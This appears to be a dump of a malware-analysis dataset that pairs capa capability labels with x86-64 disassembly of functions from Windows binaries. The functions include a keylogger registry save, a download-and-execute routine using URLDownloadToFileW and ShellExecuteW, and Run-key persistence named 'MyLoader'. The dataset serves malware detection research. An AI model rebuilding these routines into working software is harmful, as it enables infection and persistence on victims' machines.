joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141b14058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141b141df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141b14089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b1406f
add dl, dl
jne 0x141b14096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b140f6
xor eax, eax
add dl, dl
jne 0x141b140a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b141ad
add dl, dl
jne 0x141b140b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b140c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b140d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b140dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141b140ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141b1407e
mov eax, 1
add dl, dl
jne 0x141b14106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b14113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b140fb
sub eax, ebx
mov ebx, 1
jne 0x141b1414c
mov ecx, 1
add dl, dl
jne 0x141b1412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b1413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b14123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b1407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141b14168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b14175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b1415d
cmp eax, 0x7d00
jae 0x141b1419b
cmp eax, 0x500
jb 0x141b14196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b1407e
cmp eax, 0x7f
ja 0x141b1419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b1407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141b141d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141b1407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001380
Capabilities:
Decode data using base64 via winapi
Encode data using base64 via winapi
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140043010]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor esi, esi
lea rax, [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x50], esi
lea rcx, str.Hacked
mov qword [rsp + 0x20], rax
mov ebx, esi
lea edx, [rsi + 8]
lea r8d, [rsi + 1]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x140001473
mov ecx, eax
call fcn.14000e59c
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400094d0
lea rax, [rsp + 0x50]
mov r9, rbx
lea edx, [rsi + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 1]
lea rcx, str.Hacked
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], sil
je 0x140001473
mov r8d, 1
nop dword [rax + rax]
lea eax, [r8 - 1]
movzx eax, byte [rax + rbx]
cmp al, 0xd
je 0x140001435
cmp al, 0xa
je 0x140001435
inc r8d
jmp 0x140001469
mov ecx, r8d
mov eax, r8d
lea rdx, [rcx + rbx]
movzx ecx, byte [rcx + rbx]
test cl, cl
je 0x140001462
nop word [rax + rax]
inc eax
mov byte [rdx - 1], cl
lea rdx, [rax + rbx]
mov ecx, eax
movzx ecx, byte [rdx]
test cl, cl
jne 0x140001450
mov ecx, eax
mov byte [rcx + rbx - 1], sil
lea eax, [r8 - 1]
cmp byte [rax + rbx], sil
jne 0x140001420
mov rdx, rbx
lea rcx, str.encode_data:__hs__n
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x58], esi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rdi, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x1400014e7
mov ecx, eax
call fcn.14000e59c
mov rdi, rax
mov qword [rsp + 0x30], rsi
xor edx, edx
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x58]
mov r9, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rdx, rdi
lea rcx, str.decode_data:__hs__n
call fcn.1400012c0
mov rcx, rbx
call fcn.14000e588
mov rcx, rdi
call fcn.14000e588
call fcn.140003870
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400015ad
lea rdx, str.test
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rdx + rcx*2 + 2], si
lea rcx, [rcx + 1]
jne 0x140001560
lea ecx, [rcx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ecx
xor r8d, r8d
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rdx
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400060b0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140004820
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140043010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000484d
xor eax, eax
jmp 0x140004993
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140004887
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140004887
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140004993
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140004986
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400048ca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400048d9
movsx ecx, dil
jmp 0x14000492d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
js 0x140004986
cmp eax, 1
jle 0x140004947
cmp eax, 3
jne 0x140004986
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.14000e9dc
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000498b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140004974
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.14000fa04
cmp rsi, rax
jne 0x140004986
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000498b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400060b0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x14000e9b8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000e7e4
Function at 0x140001060
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x460
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbx, rdx
mov dword [rsp + 0x28], 0x104
lea rax, [rsp + 0x240]
mov r8, rcx
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
mov r8, rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ebx, ebx
lea r8, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x240]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140001770
add rsp, 0x460
pop rbx
ret

Function at 0x140001130
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 0x104
mov r8, rcx
mov qword [rsp + 0x20], rax
mov rbx, 0xffffffffffffffff
xor edx, edx
mov r9d, ebx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rsp + 0x40]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x1400011a3
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
lea ebx, [rbx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ebx
lea rdx, str.MyLoader
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001770
add rsp, 0x260
pop rbx
ret
Function at 0x140002044
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000208e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000208e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000208e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000208e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000208e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002090
xor al, al
add rsp, 0x28
ret
Function at 0x140001120
Capabilities:
Get common file path

Disassembly:
sub rsp, 0xd8
lea r8, str.GlobalAmdlogServiceMutex
xor edx, edx
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
je 0x140001153
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0xd8
ret
lea rdx, [rsp + 0x68]
mov qword [rsp + 0xd0], rbx
lea rcx, [rsp + 0xa8]
call fcn.14000aa70
lea r8, str.GlobalAmdlogServiceMutex
xor edx, edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x1400012ce
mov ecx, 0x68
call fcn.140015aa0
test rax, rax
je 0x1400012be
mov rcx, rax
call fcn.1400012e0
mov qword [0x140089e20], rax
test rax, rax
je 0x1400012c5
call fcn.14000aad0
test eax, eax
je 0x140001288
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x80]
call fcn.14000aa70
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x140089e10], rax
test rax, rax
je 0x140001288
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x80]
call fcn.14000aa70
xor r9d, r9d
lea rcx, [rsp + 0x30]
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x140089e28], rax
test rax, rax
je 0x140001288
xorps xmm0, xmm0
lea rcx, [rsp + 0x48]
mov edx, SQLGetDiagRec
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov r9, qword [0x140089e20]
lea r8, [0x1400010f0]
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
lea edx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140089e18], rax
test rax, rax
je 0x140001288
mov rcx, qword [0x140089e20]
call fcn.140001b40
call section..text
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140089e20]
test rcx, rcx
je 0x1400012ce
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov rbx, qword [rsp + 0xd0]
xor eax, eax
add rsp, 0xd8
ret
mov qword [0x140089e20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0xd0]
xor eax, eax
add rsp, 0xd8
ret
Function at 0x1400014a0
Capabilities:
Get session information

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x140089e28]
xor r14d, r14d
mov qword [rsp + 0x30], rax
mov rbp, rcx
mov rax, qword [0x140089e10]
mov edi, r14d
mov qword [rsp + 0x38], rax
call fcn.1400015b0
mov ebx, eax
lea esi, [r14 + 0x32]
nop
cmp ebx, 2
jne 0x14000158b
mov r9d, esi
lea rdx, [rsp + 0x30]
xor r8d, r8d
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 0x102
jne 0x14000158b
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
cmp eax, 0xffffffff
je 0x14000157a
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x68]
xor ecx, ecx
lea r8d, [rbx + 6]
mov edx, eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x14000157a
mov rcx, qword [rsp + 0x68]
mov eax, dword [rcx]
test eax, eax
jne 0x14000154e
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebx, 1
jmp 0x14000157d
cmp eax, 1
jne 0x14000155f
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebx, 1
jmp 0x14000157d
cmp eax, 2
jne 0x140001575
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebx, 2
mov esi, 0xfa
jmp 0x14000157d
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebx, r14d
inc edi
cmp edi, 0xc8
jb 0x1400014e0
mov rcx, qword [rbp + 0x60]
mov dword [rbp + 0x10], ebx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1400015b0
Capabilities:
Get session information

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
cmp eax, 0xffffffff
je 0x140001622
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x50]
xor ecx, ecx
mov r8d, 8
mov edx, eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x140001622
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx]
test eax, eax
je 0x1400015fa
cmp eax, 1
jne 0x140001609
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, 1
add rsp, 0x38
ret
cmp eax, 2
jne 0x14000161d
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, 2
add rsp, 0x38
ret
call sub.WTSAPI32.dll_WTSFreeMemory
xor eax, eax
add rsp, 0x38
ret
Function at 0x1400020b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
xor r14d, r14d
mov rdi, r9
mov ebp, r8d
mov rsi, rdx
test r8d, r8d
jne 0x140002113
mov qword [rax - 0x18], r14
mov qword [rax - 0x20], r9
mov qword [rax - 0x28], r14
mov qword [r9], r14
xor r9d, r9d
mov dword [rax - 0x30], 1
mov dword [rax - 0x38], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140002113
mov rdx, rsi
lea rcx, str.GetNextRegValue_RegCreateKeyEx_failed_for_pcPath___s.
call fcn.14000d440
xor eax, eax
jmp 0x1400021bc
mov rax, qword [rsp + 0x98]
mov edx, ebp
mov r9, qword [rsp + 0x90]
mov r8, qword [rsp + 0x88]
mov rcx, qword [rdi]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x60], rbx
mov rbx, qword [rsp + 0x80]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov ecx, dword [rbx]
sub ecx, 1
je 0x140002182
sub ecx, 2
je 0x14000217a
sub ecx, 1
je 0x14000216d
cmp ecx, 7
je 0x140002172
mov dword [rbx], r14d
jmp 0x140002188
mov dword [rbx], 3
jmp 0x140002188
mov dword [rbx], 1
jmp 0x140002188
mov dword [rbx], 2
mov rbx, qword [rsp + 0x60]
cmp eax, 0xea
je 0x1400021b7
test eax, eax
je 0x1400021b7
mov rdx, rsi
lea rcx, str.GetNextRegValue_RegEnumValueA_failed_for_pcPath___s.
call fcn.14000d440
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov qword [rdi], r14
jmp 0x1400021bc
mov eax, 1
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x1400025e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rbp, r8
mov rsi, rdx
mov edi, 1
test r9d, r9d
je 0x140002638
sub r9d, edi
je 0x140002631
sub r9d, edi
je 0x14000262a
sub r9d, edi
je 0x140002623
cmp r9d, edi
je 0x14000261c
mov ebx, edi
jmp 0x14000263d
mov ebx, 0xffff
jmp 0x14000263d
mov ebx, 0x40
jmp 0x14000263d
mov ebx, 2
jmp 0x14000263d
mov ebx, 8
jmp 0x14000263d
mov ebx, SQLPrepare
lea rax, [rsp + 0x40]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000266d
mov rdx, rsi
lea rcx, str.ReadRegKey_RegOpenKeyEx_failed_for_pcPath___s.
call fcn.14000d440
xor eax, eax
jmp 0x1400026ce
mov rax, qword [rsp + 0x88]
mov r9d, ebx
mov rcx, qword [rsp + 0x40]
mov r8, rbp
mov qword [rsp + 0x30], rax
xor edx, edx
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x78], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x1400026c1
mov rdx, rbp
lea rcx, str.ReadRegKey_RegGetValue_failed_for_value___s.
call fcn.14000d440
xor edi, edi
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140002a90
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rbp, r8
mov rsi, rdx
mov edi, 1
test r9d, r9d
je 0x140002ad9
sub r9d, edi
je 0x140002ad2
sub r9d, edi
je 0x140002ace
cmp r9d, edi
je 0x140002ac7
xor ebx, ebx
jmp 0x140002ade
mov ebx, SQLFetch
jmp 0x140002ade
mov ebx, edi
jmp 0x140002ade
mov ebx, 3
jmp 0x140002ade
mov ebx, 4
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140002b2d
mov rdx, rsi
lea rcx, str.WriteRegKey_RegCreateKeyEx_failed_for_pcPath___s.
call fcn.14000d440
xor eax, eax
jmp 0x140002b7b
mov eax, dword [rsp + 0x98]
mov r9d, ebx
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rdx, rbp
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140002b6e
mov rdx, rbp
lea rcx, str.WriteRegKey_RegSetValueEx_failed_for_value___s.
call fcn.14000d440
xor edi, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret

Function at 0x140003380
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test rdx, rdx
je 0x1400033be
movups xmm0, xmmword [rdx]
xor eax, eax
lea r8, [0x1400033d0]
mov r9, rcx
mov qword [rsp + 0x28], rax
movups xmmword [rcx + 0x18], xmm0
xor ecx, ecx
mov dword [rsp + 0x20], eax
lea edx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
add rsp, 0x38
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x38
ret
Function at 0x1400035d0
Capabilities:
Get common file path

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
test byte [rcx + 0x40], 1
mov rdi, rdx
mov rbx, rcx
je 0x1400035fc
mov al, 1
add rsp, 0x2c0
pop rdi
pop rbx
pop rbp
ret
xorps xmm0, xmm0
mov qword [rsp + 0x2f8], r14
xor eax, eax
lea rcx, [rbp - 0x70]
xor edx, edx
mov dword [rbp - 0x78], eax
mov r8d, pe_nt_image_headers64
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm0
xor r14b, r14b
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x40], xmm0
call fcn.140016d00
mov dword [rbp + 0x1f0], pe_nt_image_headers64
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
test rdi, rdi
jne 0x140003654
lea rdi, [rbx + 8]
lea rax, [rbp + 0x1f0]
mov r9d, 4
mov qword [rsp + 0x28], rax
lea r8, str.DumpFile
lea rax, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetControlCrashControl
mov qword [rsp + 0x20], rax
call fcn.1400025e0
test eax, eax
jne 0x1400036c3
mov edx, dword [rbp + 0x1f0]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp - 0x70]
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x1400036a4
movsd xmm0, qword [str.MEMORY.DMP]
mov eax, dword [0x140071e28]
movsd qword [rcx], xmm0
mov dword [rcx + 8], eax
lea rdx, [rsp + 0x30]
mov byte [rbp + 0x1e0], r14b
lea rcx, [rbp - 0x70]
call fcn.14000b130
test al, al
je 0x1400037eb
mov qword [rsp + 0x2e8], rsi
lea rdx, [rsp + 0x30]
lea rsi, [rbx + 0x44]
mov rcx, rsi
call fcn.14000b930
test al, al
je 0x1400037e3
cmp word [rdi], 0
je 0x14000371c
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.14000b930
test al, al
je 0x1400037e3
mov r8d, dword [rbp + 0x1f0]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x90]
call fcn.14000ace0
lea r9, [rbp + 0x1e0]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x90]
call fcn.14000ae50
lea rcx, [rbp + 0x90]
movzx r14d, al
call fcn.14000ae10
test r14b, r14b
je 0x1400037e3
cmp byte [rbp + 0x1e0], 0
je 0x1400037e3
cmp dword [rbx + 0x40], 0
jne 0x14000379d
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.14000a020
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.140009600
mov ecx, 3
call fcn.14000cab0
or dword [rbx + 0x40], 1
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.14000b930
test al, al
je 0x1400037e3
movups xmm0, xmmword [rsp + 0x30]
mov dword [rsp + 0x28], SQLPrepare
lea r8, str.Last_AmdlogSr_LastBsodWt
mov r9d, 1
mov qword [rsp + 0x20], rsi
lea rdx, str.SoftwareAMDLOG
mov rcx, 0xffffffff80000002
movups xmmword [rsi], xmm0
call fcn.140002a90
mov rsi, qword [rsp + 0x2e8]
movzx eax, r14b
mov r14, qword [rsp + 0x2f8]
add rsp, 0x2c0
pop rdi
pop rbx
pop rbp
ret
Function at 0x140005d00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rbp, rcx
mov r14d, r9d
mov ecx, 0xb8
mov rdi, r8
mov rsi, rdx
call fcn.140015aa0
mov rbx, rax
test rax, rax
je 0x140005e80
xor r15d, r15d
xor edx, edx
mov r8d, 0xb8
mov qword [rax + 0x70], r15
mov rcx, rax
mov dword [rax + 0x78], r15d
call fcn.140016d00
mov eax, dword [rsp + 0x70]
lea r8, [0x140004d50]
mov rcx, qword [rsp + 0x78]
lea edx, [r15 + 8]
mov dword [rbx + 0x3c], eax
mov r9, rbx
movzx eax, byte [rsp + 0x80]
mov qword [rbx + 0x10], rcx
xor ecx, ecx
mov byte [rbx + 0x60], al
mov qword [rbx + 0x28], rdi
mov qword [rbx + 0x20], rsi
mov qword [rbx + 0x18], rbp
mov dword [rbx + 0x38], r14d
movups xmm0, xmmword [rbp + 0x6750]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
movups xmmword [rbx + 0x82], xmm0
movups xmm0, xmmword [rbp + 0x6760]
movups xmmword [rbx + 0xa2], xmm0
call qword [sym.imp.KERNEL32.dll_CreateThread]
